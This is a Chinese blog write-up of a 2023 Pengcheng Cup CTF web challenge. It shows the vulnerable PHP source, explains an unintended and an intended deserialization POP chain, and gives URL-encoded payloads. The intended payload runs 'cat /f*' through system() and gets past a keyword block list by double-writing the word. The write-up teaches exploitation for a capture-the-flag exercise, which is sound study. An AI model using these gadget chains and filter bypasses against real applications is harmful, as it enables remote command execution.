• 【wp】2023鹏城杯初赛 Web web1(反序列化漏洞)


    考点:

    常规的PHP反序列化漏洞+双写绕过waf 签到题

    源码:

    1. show_source(__FILE__);
    2. error_reporting(0);
    3. class Hacker{
    4. private $exp;
    5. private $cmd;
    6. public function __toString()
    7. {
    8. call_user_func('system', "cat /flag");
    9. }
    10. }
    11. class A
    12. {
    13. public $hacker;
    14. public function __toString()
    15. {
    16. echo $this->hacker->name;
    17. return "";
    18. }
    19. }
    20. class C
    21. {
    22. public $finish;
    23. public function __get($value)
    24. {
    25. $this->finish->hacker();
    26. echo 'nonono';
    27. }
    28. }
    29. class E
    30. {
    31. public $hacker;
    32. public function __invoke($parms1)
    33. {
    34. echo $parms1;
    35. $this->hacker->welcome();
    36. }
    37. }
    38. class H
    39. {
    40. public $username="admin";
    41. public function __destruct()
    42. {
    43. $this->welcome();
    44. }
    45. public function welcome()
    46. {
    47. echo "welcome~ ".$this->username;
    48. }
    49. }
    50. class K
    51. {
    52. public $func;
    53. public function __call($method,$args)
    54. {
    55. call_user_func($this->func,'welcome');
    56. }
    57. }
    58. class R
    59. {
    60. private $method;
    61. private $args;
    62. public function welcome()
    63. {
    64. if ($this->key === true && $this->finish1->name) {
    65. if ($this->finish->finish) {
    66. call_user_func_array($this->method,$this->args);
    67. }
    68. }
    69. }
    70. }
    71. function nonono($a){
    72. $filter = "/system|exec|passthru|shell_exec|popen|proc_open|pcntl_exec|system|eval|flag/i";
    73. return preg_replace($filter,'',$a);
    74. }
    75. $a = $_POST["pop"];
    76. if (isset($a)){
    77. unserialize(nonono($a));
    78. }
    79. ?>

    代码审计:

    入口肯定是H. __destruct()魔术方法进去,然后这里就涉及到下一步tostring()魔术方法的触发 ,但是这里涉及两个tostring()方法 然后这里就有个非预期解

    非预期解:

     POP链:H.destruct()->Hacker.tostring()

    代码构造:

    1. class Hacker{
    2. private $exp;
    3. private $cmd;
    4. }
    5. class A{
    6. public $hacker;
    7. }
    8. class C{
    9. public $finish;
    10. }
    11. class E{
    12. public $hacker;
    13. }
    14. class H{
    15. public $username="admin";
    16. }
    17. class K{
    18. public $func;
    19. }
    20. class R{
    21. private $method;
    22. private $args;
    23. }
    24. $a = new H();
    25. $a->username = new Hacker();
    26. echo urlencode(serialize($a));

    payload:

    O%3A1%3A%22H%22%3A1%3A%7Bs%3A8%3A%22username%22%3BO%3A6%3A%22Hacker%22%3A2%3A%7Bs%3A11%3A%22%00Hacker%00exp%22%3BN%3Bs%3A11%3A%22%00Hacker%00cmd%22%3BN%3B%7D%7D

    可以得到flag 

    预期解:

     我们触发A.tostring()的魔术方法, 找到到出口call_user_func_array(),然后一步一步触发下面的魔术方法

    POP链:

    H.destruct()->A.tostring()->C.get()->K.call()->E.invoke()->R.welcome()

     代码构造:

    1. class A{
    2. public $hacker;
    3. }
    4. class C{
    5. public $finish;
    6. }
    7. class E{
    8. public $hacker;
    9. }
    10. class H{
    11. public $username="admin";
    12. }
    13. class K{
    14. public $func;
    15. }
    16. class R{
    17. private $method; //私有变量需要在里面进行赋值 或者进行一个构造函数来进行反序列化,因为私有变量只有私有的类成员则只能被其定义所在的类访问
    18. private $args;
    19. public function __construct(){
    20. $this->key = true; //ture 设为真才能进入if语句
    21. @$this->finish1->name = true; //ture 设为真才能进入if语句;@。当将其放置在一个 PHP 表达式之前,该表达式可能产生的任何错误信息都被忽略掉。
    22. @$this->finish->finish = true;//ture 设为真才能进入if语句
    23. $this->method = "system"; //这个会被ban
    24. $this->args = array("cat /f*"); // 下面这个就是构造命令执行 只有设为数组是因为这里要知道call_user_func()函数如果传入的参数是array类型的话,会将数组的成员当做类名和方法
    25. }
    26. }
    27. $h = new H();
    28. $h->username = new A();
    29. $h->username->hacker = new C();
    30. $h->username->hacker->finish = new K();
    31. $h->username->hacker->finish->func = new E();
    32. $h->username->hacker->finish->func->hacker = new R();
    33. $s = serialize($h);
    34. $s = preg_replace("/system/", "syssystemtem", $s); //对system进行双写绕过
    35. echo urlencode($s);

    payload;

    O%3A1%3A%22H%22%3A1%3A%7Bs%3A8%3A%22username%22%3BO%3A1%3A%22A%22%3A1%3A%7Bs%3A6%3A%22hacker%22%3BO%3A1%3A%22C%22%3A1%3A%7Bs%3A6%3A%22finish%22%3BO%3A1%3A%22K%22%3A1%3A%7Bs%3A4%3A%22func%22%3BO%3A1%3A%22E%22%3A1%3A%7Bs%3A6%3A%22hacker%22%3BO%3A1%3A%22R%22%3A5%3A%7Bs%3A9%3A%22%00R%00method%22%3Bs%3A6%3A%22syssystemtem%22%3Bs%3A7%3A%22%00R%00args%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A7%3A%22cat+%2Ff%2A%22%3B%7Ds%3A3%3A%22key%22%3Bb%3A1%3Bs%3A7%3A%22finish1%22%3BO%3A8%3A%22stdClass%22%3A1%3A%7Bs%3A4%3A%22name%22%3Bb%3A1%3B%7Ds%3A6%3A%22finish%22%3BO%3A8%3A%22stdClass%22%3A1%3A%7Bs%3A6%3A%22finish%22%3Bb%3A1%3B%7D%7D%7D%7D%7D%7D%7D

    得到flag

  • 相关阅读:
    DFS搜索和输出所有路径
    【批处理】将当前目录映射到Z盘
    React-hooks【四】父组件通过ref获取子组件实例
    OpenHarmony开发-系统烧录
    LeetCode 557. 反转字符串中的单词 III
    Java & 计算机编码
    CSS动画的三种实现方式
    光模块厂家如何实现千兆和万兆的大规模量产
    数据库中间件
    柔和舒适的瑜伽垫,设计时尚两面可用
  • 原文地址:https://blog.csdn.net/m0_63138919/article/details/134224576